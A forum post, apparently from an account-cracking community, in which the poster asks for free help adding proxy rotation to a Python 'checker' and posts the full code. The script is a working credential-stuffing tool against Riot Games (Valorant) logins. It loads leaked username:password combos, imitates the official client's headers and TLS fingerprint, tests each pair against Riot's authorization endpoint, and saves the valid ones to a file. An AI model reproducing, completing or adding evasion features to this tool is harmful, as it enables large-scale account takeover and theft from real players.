I need little help with my python checker can someone add proxy method on it for free?
This is a bump
Code:
from colorama import Fore, init, Style
import requests
import typing
import ssl
import ctypes
import os
class SSLAdapter(requests.adapters.HTTPAdapter):
def init_poolmanager(self, *a: typing.Any, **k: typing.Any) -> None:
c = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
c.set_ciphers(
":".join(
[
"ECDHE-ECDSA-AES128-GCM-SHA256",
"ECDHE-ECDSA-CHACHA20-POLY1305",
"ECDHE-RSA-AES128-GCM-SHA256",
"ECDHE-RSA-CHACHA20-POLY1305",
"ECDHE+AES128",
"RSA+AES128",
"ECDHE+AES256",
"RSA+AES256",
"ECDHE+3DES",
"RSA+3DES",
]
)
)
k["ssl_context"] = c
return super().init_poolmanager(*a, **k)
class Valorant:
def __init__(self):
self.combos = []
self.proxies = []
def session(self, login=False):
session = requests.Session()
session.trust_env = False
if login:
session.headers = {
"User-Agent": "RiotClient/58.0.0.4640299.4552318 %s (Windows;10;;Professional, x64)",
"Accept-Language": "en-US,en;q=0.9",
"Accept": "application/json, text/plain, */*",
}
session.mount("https://", SSLAdapter())
return session
def load_combos(self):
if os.path.exists("combo.txt"):
with open("combo.txt", "r", encoding="UTF-8") as f:
for line in f.readlines():
line = line.replace("\n", "")
self.combos.append(line)
else:
open("combo.txt", "a").close()
def login(self, combo):
username = combo.split(":")[0]
password = combo.split(f"{username}:")[1]
session = self.session(True)
r = session.post(
"https://auth.riotgames.com/api/v1/authorization",
json={
"acr_values": "urn:riot:bronze",
"claims": "",
"client_id": "riot-client",
"nonce": "oYnVwCSrlS5IHKh7iI16oQ",
"redirect_uri": "http://localhost/redirect",
"response_type": "token id_token",
"scope": "openid link ban lol_region",
},
)
if r.json().get("type") == "auth":
if r.json().get("error") == None:
login = session.put(
"https://auth.riotgames.com/api/v1/authorization",
json={"type": "auth", "username": username, "password": password},
)
if "auth_failure" in login.text:
print(f"{Fore.RED}[Invalid] {Fore.WHITE}{combo}")
elif "uri" in login.text:
print(f"{Fore.GREEN}[Valid] {Fore.WHITE}{combo}")
with open("Valid.txt", "a") as f:
f.write(combo + "\n")
else:
print(
f"{Fore.LIGHTYELLOW_EX}[Error] {Fore.WHITE}{login.text} {combo}"
)
def main(self):
self.load_combos()
os.system("cls")
print("{} combos loaded".format(len(self.combos)))
for combo in self.combos:
self.login(combo)
print("\nFinished checking.")
obj = Valorant()
obj.main()
input()
This is a bump